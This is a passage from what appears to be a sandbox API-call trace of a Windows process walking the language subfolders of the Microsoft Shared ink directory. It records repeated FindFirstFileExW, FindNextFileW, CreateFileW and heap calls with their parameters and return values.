fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d220 [0050.996] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.996] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe92d84cc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe94ed7e2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe94ed7e2, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0050.996] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0050.996] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0050.996] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0050.996] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0050.996] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0050.996] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8ea78 [0050.996] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9db68) returned 1 [0050.996] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf95a00 [0050.996] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf91b28 [0050.996] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0050.996] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe92d84cc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe94ed7e2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe94ed7e2, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0050.996] GetLastError () returned 0x12 [0050.996] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0050.996] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0050.996] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.996] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe92d84cc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe94ed7e2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe94ed7e2, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0050.996] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe92d84cc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe94ed7e2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe94ed7e2, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0050.996] GetLastError () returned 0x12 [0050.997] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0050.997] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0050.997] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf8ea78) returned 1 [0050.997] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0050.997] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-CS", cAlternateFileName="")) returned 1 [0050.997] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0050.997] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-cs"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0050.997] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-cs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0050.997] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0050.997] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf96570 [0050.997] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf96570, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xf96570, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0050.997] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf96570) returned 1 [0050.997] NtClose (Handle=0x184) returned 0x0 [0050.997] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0050.997] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0050.997] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0050.997] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0050.997] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0050.998] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.998] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4177b15, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4177b15, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0050.998] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9db68 [0050.998] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9db68) returned 1 [0050.998] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9db68 [0050.998] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9db68) returned 1 [0050.998] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9db68 [0050.998] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8ea78 [0050.998] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0050.998] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf95a20 [0050.998] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf92680 [0050.998] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9db68) returned 1 [0050.998] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4177b15, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4177b15, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0050.998] GetLastError () returned 0x12 [0050.998] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d220 [0050.998] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0050.998] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.998] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4177b15, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4177b15, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0050.998] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4177b15, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4177b15, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0050.998] GetLastError () returned 0x12 [0050.998] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0050.998] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0050.998] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf8ea78) returned 1 [0050.998] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0050.998] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0050.999] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0050.999] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sv-se"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0051.015] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sv-se"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0051.015] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0051.015] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf96570 [0051.015] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf96570, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xf96570, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0051.015] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf96570) returned 1 [0051.016] NtClose (Handle=0x190) returned 0x0 [0051.016] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0051.016] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0051.016] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0051.016] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9db68 [0051.016] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d220 [0051.016] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.016] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe779eb51, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe79d9fc4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe79d9fc4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0051.016] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0051.016] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0051.016] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0051.016] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0051.016] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0051.016] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8ea78 [0051.016] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0051.016] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf95a40 [0051.016] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf92890 [0051.016] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0051.016] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe779eb51, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe79d9fc4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe79d9fc4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0051.016] GetLastError () returned 0x12 [0051.016] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0051.016] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0051.016] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.016] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe779eb51, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe79d9fc4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe79d9fc4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0051.016] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe779eb51, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe79d9fc4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe79d9fc4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0051.016] GetLastError () returned 0x12 [0051.017] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9db68) returned 1 [0051.017] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0051.017] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf8ea78) returned 1 [0051.017] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0051.017] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56ef1310, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x56ef1310, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x449d3e50, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x9e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TabIpsps.dll", cAlternateFileName="")) returned 1 [0051.017] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bf05363, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bf05363, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bf05363, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6d600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tabskb.dll", cAlternateFileName="")) returned 1 [0051.017] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45c03bb8, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x45c03bb8, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xf8825d20, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x36c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TabTip.exe", cAlternateFileName="")) returned 1 [0051.017] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th-TH", cAlternateFileName="")) returned 1 [0051.017] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0051.017] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0051.017] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0051.017] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0051.017] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf96570 [0051.017] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf96570, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xf96570, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0051.017] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf96570) returned 1 [0051.017] NtClose (Handle=0x184) returned 0x0 [0051.017] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0051.017] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0051.017] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9db68 [0051.017] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0051.018] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0051.018] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, 